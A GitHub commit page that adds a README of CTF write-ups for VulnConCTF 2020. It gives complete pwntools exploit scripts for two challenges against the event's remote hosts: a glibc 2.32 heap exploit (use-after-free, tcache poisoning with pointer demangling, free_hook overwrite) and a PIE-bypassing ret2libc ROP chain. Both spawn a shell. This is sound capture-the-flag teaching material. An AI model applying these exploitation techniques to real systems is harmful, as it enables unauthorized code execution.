Skip to content
This repository was archived by the owner on Oct 24, 2021. It is now read-only.

Commit 10c5664

Browse files
committedDec 22, 2020
some solve scripts
1 parent 40a073f commit 10c5664

File tree

1 file changed

+246
-0
lines changed

1 file changed

+246
-0
lines changed
 

‎2020-VulnConCTF/README.md

+246
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,246 @@
1+
# VulnConCTF 2020
2+
3+
I did some pwn for fun on Friday evening :^)
4+
5+
6+
## the good old time
7+
This is a very generic heap challenge, on glibc 2.32.
8+
9+
We can add, edit, show, and delete.
10+
11+
Deleting does not null out the pointer in the array, and showing just calls puts() on the chunk.
12+
13+
14+
To leak libc, we can free a chunk into unsorted bin. However the fwd and bk ended in a 0x00 so I added another chunk that was bigger to get the first chunk into the smallbin. Then, I just showed the chunk to leak libc.
15+
16+
17+
To write to free hook, we can simply tcache poison. In glibc 2.32, tcache pointer mangling was introduced, meaning we have to do a bit more than just edit the fwd of a free chunk in tcache. I googled a bit and found a script that can both encode and decode mangled pointers. Very cool.
18+
19+
```python
20+
from pwn import *
21+
22+
e = ELF("./thegoodoldtime")
23+
libc = ELF("./libc.so.6")
24+
ld = ELF("./ld-2.32.so")
25+
26+
context.binary = e
27+
context.terminal = ["konsole", "-e"]
28+
29+
p = process([e.path])
30+
p = remote("35.246.22.179", 49155)
31+
32+
context.log_level="debug"
33+
gdb.attach(p, """c""")
34+
35+
36+
def new(idx, size, data):
37+
p.sendlineafter("exit\n", "1")
38+
p.sendlineafter(":", str(idx))
39+
p.sendlineafter(":", str(size))
40+
p.sendlineafter(":", data)
41+
42+
def edit(idx, data):
43+
p.sendlineafter("exit\n", "2")
44+
p.sendlineafter(":", str(idx))
45+
p.sendlineafter(":", data)
46+
47+
def show(idx):
48+
p.sendlineafter("exit\n", "3")
49+
p.sendlineafter(":", str(idx))
50+
51+
52+
def delete(idx):
53+
p.sendlineafter("exit\n", "4")
54+
p.sendlineafter(":", str(idx))
55+
56+
57+
# uwu https://github.com/mdulin2/mangle/blob/master/mangle.py
58+
59+
# Mangle the ptr
60+
def encode_ptr(fd_ptr, storage_location, print_hex=False):
61+
if(print_hex):
62+
return hex((storage_location >> 12) ^ fd_ptr)
63+
return (storage_location >> 12) ^ fd_ptr
64+
65+
66+
# Demangle the ptr
67+
def decode_ptr(mangled_ptr,storage_location, print_hex=False):
68+
if(print_hex):
69+
return hex((storage_location >> 12) ^ mangled_ptr)
70+
return (storage_location >> 12) ^ mangled_ptr
71+
72+
73+
74+
# this thing is op
75+
def recover_ptrs(mangled_ptr, loc_final_bits=0x0, print_hex=False):
76+
77+
count = 0x0
78+
tmp_value = mangled_ptr
79+
while(tmp_value & 0xFFFFFF000 != 0x0):
80+
tmp_value = tmp_value >> 4
81+
count +=1
82+
83+
# Get the top-most 12 bits to initialize the process
84+
initial = mangled_ptr & (0xFFF * (0x10 ** count))
85+
final_ptr = initial
86+
final_location = initial
87+
known_bits = initial >> (count * 4)
88+
89+
for iteration in range(1, (count/3) + 1):
90+
91+
exp_amount = (count - (3 * iteration))
92+
shift_amount = (count - (3 * iteration)) * 4
93+
94+
# Get the 12 bits to the right of the top-most 12 bits of the value.
95+
tmp_value = mangled_ptr & (0xFFF * (0x10 ** exp_amount))
96+
97+
# Shift the values over. Then, operate on them.
98+
99+
ptr_shift = tmp_value >> shift_amount
100+
101+
# Operate on the bits in order to get the ptr bits at the specific location.
102+
known_bits = ptr_shift ^ known_bits
103+
104+
# Add the new known_bits to the total for the final_ptr
105+
new_bits = known_bits << shift_amount
106+
107+
# The 'known_bits' are the location in which the ptr was stored at that we are getting.
108+
final_ptr = final_ptr + new_bits
109+
110+
111+
# The least significant twelve bits are unknown for the storage location. So, we remove them.
112+
final_location = final_location & 0xFFFFFFFFFFFFF000
113+
114+
# If the final bits of the location are given, we add them back in.
115+
if(loc_final_bits):
116+
final_location += (loc_final_bits & 0xFFF)
117+
118+
if(print_hex):
119+
final_ptr = hex(final_ptr)
120+
final_location = hex(final_location)
121+
return final_ptr, final_location
122+
123+
124+
new(1, 0x550, "AAAA")
125+
126+
127+
new(2, 0x50, "BBBB")
128+
129+
130+
new(3, 0x50, "BBBB")
131+
132+
133+
delete(1)
134+
135+
136+
137+
show(1)
138+
139+
delete(2)
140+
delete(3)
141+
142+
143+
144+
new(4, 0x700, "CCCC")
145+
146+
show(1)
147+
148+
149+
p.recv()
150+
libc.address = u64((p.recv(6)).ljust(8, "\x00")) - 0x1e4040
151+
152+
print("libc base", hex(libc.address))
153+
154+
155+
156+
157+
show(3)
158+
p.recv()
159+
160+
161+
mangled_fwd = u64((p.recv(6)).ljust(8, "\x00"))
162+
163+
print("mangled fwd", hex(mangled_fwd))
164+
165+
thing, _ = recover_ptrs(mangled_fwd)
166+
167+
tcache = thing - 0x810
168+
169+
print("tcache at", hex(tcache))
170+
171+
edit(3, p64(encode_ptr(libc.sym["__free_hook"], tcache)))
172+
173+
174+
new(5, 0x50, "AAAA")
175+
new(6, 0x50, p64(libc.sym["system"]))
176+
177+
178+
new(7, 0x20, "/bin/sh")
179+
delete(7)
180+
181+
p.interactive()
182+
```
183+
184+
185+
## Wheretogo
186+
187+
This is a classic ret2libc, but there is PIE enabled. Thankfully, there is a function that prints the address of main. We can brute force 1 nibble of ASLR by partially overwriting the return address on the stack to jump to the function. Annoyingly the binary calls write() not puts(), so we have to look around for some different gadgets to set up the registers to leak the libc. Then it is just ret2libc.
188+
189+
```python
190+
from pwn import *
191+
192+
e = ELF("./where_to_go")
193+
194+
libc = ELF("./libc.so.6")
195+
196+
context.binary = e
197+
context.terminal = ["konsole", "-e"]
198+
199+
200+
while True:
201+
#p = process([e.path])
202+
p = remote("35.232.11.215", 49155)
203+
204+
205+
context.log_level="debug"
206+
#
207+
208+
209+
p.sendafter("!", "A"*40+"\x99\x48")
210+
211+
try:
212+
p.recvline()
213+
main = u64(p.recv(6).ljust(8, "\x00"))
214+
break
215+
except EOFError:
216+
p.close()
217+
continue
218+
219+
220+
221+
pie = main-0x7da
222+
223+
print("main", hex(main))
224+
print("pie base", hex(pie))
225+
226+
gdb.attach(p, """break * system\nc""")
227+
228+
229+
230+
231+
p.sendafter("!", "A"*40 + p64(pie+0x943) + p64(1) + p64(pie+0x941) + p64(pie + e.got["__libc_start_main"]) + p64(0) + p64(pie+e.plt["write"]) + p64(main))
232+
233+
p.recvline()
234+
235+
libc.address = u64(p.recv(6).ljust(8, "\x00")) - 0x21b10
236+
237+
print("libc base", hex(libc.address))
238+
239+
240+
241+
p.sendafter("!", "A"*40 + p64(pie+0x943) + p64(next(libc.search("/bin/sh"))) + p64(pie+0x666) + p64(libc.sym["system"]))
242+
243+
244+
245+
p.interactive()
246+
```

0 commit comments

Comments
 (0)
This repository has been archived.